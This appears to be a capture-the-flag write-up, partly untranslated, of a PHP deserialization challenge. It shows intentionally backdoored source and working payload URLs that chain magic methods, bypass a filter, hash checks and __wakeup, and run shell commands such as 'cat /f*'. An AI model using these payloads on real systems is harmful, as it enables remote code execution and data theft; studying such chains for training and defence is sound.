posture
The title gives the following code:
<?php
error_reporting(0);
function backdoor()
{
$a = $_GET["a"];
$b = $_GET["b"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
$class = new $a($b);
$str1 = substr($class, $d, $e);
$str2 = substr($class, $f, $g);
$str1($str2);
}
class popko
{
public $left;
public $right;
public function __call($method,$args)
{
if (($this->left != $this->right) && (md5($this->left) === md5($this->right)) && (sha1($this->left) === sha1($this->right))) {
echo "backdoor is here";
backdoor();
}
}
public function __wakeup()
{
$this->left = "";
$this->right = "";
}
}
class pipimi
{
function __destruct()
{
echo $this->a->a();
}
}
$c = $_GET["c"];
if ($c != null) {
if (strstr($_GET["c"], "popko") === false) {
unserialize($_GET["c"]);
} else {
echo ":)";
}
} else {
highlight_file(__FILE__);
}
The code gives the backdoor function straight to the point, and this function is called in the call method of the popko class
So you need to run the call method
And the call method is 在对象上下文中调用不可访问的方法
triggered when
Therefore, it is necessary to call an inaccessible method
It just so happens that the a object and a function do not exist in the destruct method
So you need to run the destruct method
And the destruct method is triggered when the object is destroyed
How to realize the object is destroyed?
When the serialized statement is deserialized, the object will be destroyed, thus triggering the destruct method
So the idea is:Construct an object in the pipimi class, and when the destruct in pipimi is executed, call the popko class to run the call method, and then call the backdoor function
for
if (strstr($_GET["c"], "popko") === false) {
unserialize($_GET["c"]);
} else {
echo ":)";
The meaning of this string of codes is: when the c we pass in does not contain popko, it will deserialize the passed parameter c; otherwise it will print :)
So we have to pass in a parameter c to deserialize it, but it also contains popko
Since PHP is a weak language, function names, method names, and class names are not case-sensitive, that is, class Object and class object are treated as a variable when parsing
The strstr function is case sensitive
So you can use the case-insensitive class name but the case-sensitive filter function to construct a popko chain (change popko to Popko)
for
if (($this->left != $this->right) && (md5($this->left) === md5($this->right)) && (sha1($this->left) === sha1($this->right))) {
echo "backdoor is here";
backdoor();
}
It is required that the left and right values are different, but the md5 encrypted value is the same before the backdoor() function can be called
Therefore, use an array to pass parameters to bypass, that is, left[]=1&right[]=2
So the constructed chain is:
/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":2:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}
对象类名是 "pipimi",有一个属性 "a"。
"a" 属性的值是另一个对象类型 "Popko"。
"Popko" 对象有两个属性: "left" 和 "right"。
"left" 属性是一个包含一个元素的数组,该元素的值为 1。
"right" 属性是一个包含一个元素的数组,该元素的值为 2。
When unserialize() is executed, the wakeup method will be called first, how to bypass it?
When the value representing the number of object attributes in the serialized string is greater than the actual number of attributes, the execution of the wakeup method will be skipped
So just increase the value of Popko's attributes to 3:
/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}
The echo is as follows:
successfully entered the back door
Then let's see how the backdoor function is described:
function backdoor()
{
$a = $_GET["a"];
$b = $_GET["b"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
$class = new $a($b);
$str1 = substr($class, $d, $e);
$str2 = substr($class, $f, $g);
$str1($str2);}
$class = new $a($b);
This statement creates a new class, but it cannot be deserialized. This encounters a situation where deserialization is required but no class is specified, so only PHP built-in classes (that is, native classes) can be found for deserialization.
For parameter a, use the error class in the native class
Take a look at the syntax of the substr function:
Therefore, the POC structure is as follows:
/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}&a=Error&b=systemls&d=7&e=6&f=13&g=2
The echo is as follows:
Use the command to grab the contents of all files starting with f:
/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}&a=Error&b=systemcat /f*&d=7&e=6&f=13&g=7
Among them, the values of d, e, f, and g need to be continuously modified according to the echo
Get the flag:
Summarize
The above is a detailed analysis record of PHP serialization and deserialization problem solving, and examines knowledge points such as php code audit, php strong comparison, serialization and deserialization.
I am Qiu said , see you next time.